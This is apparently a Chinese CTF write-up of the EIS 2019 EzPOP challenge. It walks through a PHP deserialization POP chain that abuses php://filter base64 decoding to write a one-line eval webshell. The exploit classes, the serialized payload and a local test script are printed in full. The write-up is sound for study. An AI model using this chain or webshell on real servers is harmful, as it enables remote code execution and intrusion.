[EIS 2019]EzPOP

接着上一篇简单的pop题目,做一下[EIS 2019]EzPOP,

总的来看代码量确实是大了,相对应的一些琐碎的东西也多了,而且涉及到的知识也更多一些,

个人习惯是先找最后一环,再向上回溯,

这里首先应该看到如下的片段,这应该是本题目中唯一有可能利用的点,


 这里是一个文件写操作,文件名$filename和内容$data理论上都是可控的,我们可以写一个shell,至于具体的思路,参见p牛的文章,

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

这里的$data的前半部分有exit(),所以即使我们将传过来的$data写入一句话,实际上是执行不了的,(p牛云,这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!defined(xxx))exit;之类的限制)。个人的经历是去年暑假在看yxtcmf的题目时,其写入shell的核心点也是类似于这样的一行代码,所以看到本题的这行代码比较敏感,只不过yxtcmf的题目写入好像是比这个稍微容易一些(没有exit)。

关于本题的解题的理论是这样的,

1.

base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。

所以,一个正常的base64_decode实际上可以理解为如下两个步骤:


$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);

base64_decode($_GET['txt']);

使用 php://filter/write=convert.base64-decode 来首先对其解码的过程中,字符<、?、;、>、空格等字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。

2.

类成员由属性和方法构成,类属性存在于数据段,类方法存在于代码段,对于一个类来说,类的方法不占用类的空间,占空间的只有类的属性。序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。因此,序列化操作只是保存对象(不是类)的变量,不保存对象的方法,其实反序列化的主要危害在于我们可以控制对象的变量来改变程序执行流程从而达到我们最终的目的。我们无法控制对象的方法来调用,因此我们这里只能去找一些可以自动调用的一些魔术方法。

回到本题,先想办法构造pop链,最后一环当然是上面提到的file_put_contents(),

先在file_put_contents()所在的set函数内向上看,确保这条路确实可用,

这个是虚假的压缩, 我们可以人为控制$this->options['data_compress'] = 0;

再向上,可以看到$data是$value经过$this->serialize()函数生成的,

我们跟进$this->serialize(),发现这也是虚假的Serialize,我们可以控制$this->options['serialize'] = 'strval',不会对$value产生实质性影响,

再向上,

 其实也是虚假的,这里不再展开了,

set函数是class

B中唯一的关键函数,其余的都是些虚假的限制性的函数。而且经过分析,class

B的对象本身只涉及到$filename一个关键点($data是参数$value经变化得来的),到这里我们大体上可以确定了其值,按照上面提到的思路将其控制为如下的样子即可,

接下来追溯set()的传参的来源,我们手动查找调用set()的地方,发现在class A的save()函数内有调用,

而且只要class A的对象构造的正常,且$this->autosave设为0,则save()是一定可以被调用的(确保这条路可用),

回到save(),可以想象,这里的store必为一个class B的对象,接下来我们要做的就是向上追溯$this->key和$contents两个参数,确保他们是可控的,

先是$this->key,这个显然是完全可控,这里不再分析,主要是$contents,我们需要先追溯到$this->getForStorage()内,

 继续跟进,

 从这里我们可以看出,$this->cache应该要是一个数组,数组中要有一个值也为数组(不满足可能会变为空数组?没有实际尝试),$this->cache传进来之后要经过一次检查,个人感觉这里的检查好像没什么实际的作用,随便选一个符合的名字(比如path)作为$object的键,用编码后的一句话木马作为$object的值(这个有点讲究,后面会提到)就行了,接下来return

json_encode([$cleaned,

$this->complete])将这一结果传给save()中的$contents,进而作为$value传进set()。

直观上看,$this->complete的值对解题没有影响(后面会提到),所以到此我们基本可以确认class A的对象的值了,exp如下:class A {

protected $store;

protected $key = 'shell.php';

protected $expire = null;

public $autosave = 0;

public $cache = array(111=>array('path'=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr"));

public $complete = 1;

public function __construct($store) {

$this->store = $store;

}

}

class B {

public $options = array('data_compress'=>0, 'expire'=> 0,

'prefix'=>"php://filter/write=convert.base64-decode/resource=./uploads/",

'serialize'=>'strval');

}

$b = new B;

$a = new A($b);

但实际上,这个exp是我经过多次测试才得出的,这个题涉及到的深层次的内容(其实就是坑)到现在我们并没有讲,下面我逐个解释坑在哪(其实主要都是因为我对base64的原理理解不到位),

先贴一下动态运行到file_put_contents()处时各变量的情况,

1. payload(PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr)之前的片段,

有的同志可能注意到,我构造的$a->cache的键为111,而不是1或者11,原因如下:

我们的思路是,将经base64-decode过滤器过滤后的$data的值写入./uploads/shell.php中,我们想要的效果是payload(PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr)之前的部分被解码为乱码(至少不要影响payload的正常功能),payload(PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr)被正常解码为<?php

eval($_POST['cmd']);?>kkkkk,

比如这样,


 这样的话我们就能正常使用这个一句话木马,

base64编码转换步骤

第一步,将待转换的字符串每三个字节分为一组,每个字节占8bit,那么共有24个二进制位。

第二步,将上面的24个二进制位每6个一组,共分为4组。

第三步,在每组前面添加两个0,每组由6个变为8个二进制位,总共32个二进制位,即四个字节。

第四步,根据Base64编码对照表(见下图)获得对应的值。

反过来,base64解码时,一定是4个有效字节(何为有效字节最开始已经解释了)为一组进行解码,

对于这里,我们要想保证payload被正常解码为一句话木马,就要保证它前面的片段中,有效字节的数目为4的倍数,所以我这里$cache的键是111,就是说,我补了3个1作为有效字节凑齐了4的倍数,



2. payload(PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr)

 上面提到,我们的payload(PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr)被正常解码为<?php

eval($_POST['cmd']);?>kkkkk,可能有的同志有疑问,为什么不是<?php

eval($_POST['cmd']);,为什么不是<?php eval($_POST['cmd']);?>

 先看两个php文件,

先是1.php,


 运行之,

可以看到,s.php内成功写入了内容,前面的YWFh被解码为aaa,==后面的YWFh被舍弃,这里斗胆猜测,是因为这一段字符的前面按每四个字节一组正常解码,直到遇到了Pg==,而==是base64编码时由于末尾不足3个字节进行补足而添上的,因而base64_decode运行时检测到这里,就认为解码结束,后面的内容舍弃(这里我没有查看底层代码,如果有大佬知道原理望请告知),

再看2.php,


运行之,

文件是空的,就是并没有将内容写进去,

看php.net,

上面讲等同于使用base64_decode()函数处理 所有的 数据流,至于问题是不是出在“所有的”一词上,我确实没有搞清楚,希望有大佬可以指点,

针对出现的这个问题,为了节省点时间,我选择了避开,补了5个k来消除=(其实2个就够了...),


这就是为什么有的同志(包括我自己)一开始编写的exp无法生效的原因,

到此,还有一个小问题,


 这是我要进行base64解码之后写入shell.php的字符串,刚才我们提到,payload前面的部分是28个字节,payload的长度也是4的倍数,那么最后剩下的唯一一个有效字节1去哪里了,我经测试后认为应该是被舍弃了,对解码不产生任何影响。

本地测试exp:


error_reporting(0);

class A {

protected $store;

protected $key = 'shell.php';

protected $expire = null;

public $autosave = 0;

public $cache = array(111=>array('path'=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr"));

public $complete = 1;

public function __construct($store) {

$this->store = $store;

}

}

class B {

public $options = array('data_compress'=>0, 'expire'=> 0,

'prefix'=>"php://filter/write=convert.base64-decode/resource=./uploads/",

'serialize'=>'strval');

}

$b = new B;

$a = new A($b);

echo urlencode(serialize($a));

echo "

";

$fi= file_get_contents('http://127.0.0.1/?data='.urlencode(serialize($a)));

$fs = file_get_contents('./uploads/shell.php');

echo $fs;

打buu的靶机,

 成功

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 219,039评论 6 508
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,426评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 165,417评论 0 356
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,868评论 1 295
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,892评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,692评论 1 305
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,416评论 3 419
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,326评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,782评论 1 316
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,957评论 3 337
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,102评论 1 350
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,790评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,442评论 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,996评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,113评论 1 272
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,332评论 3 373
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,044评论 2 355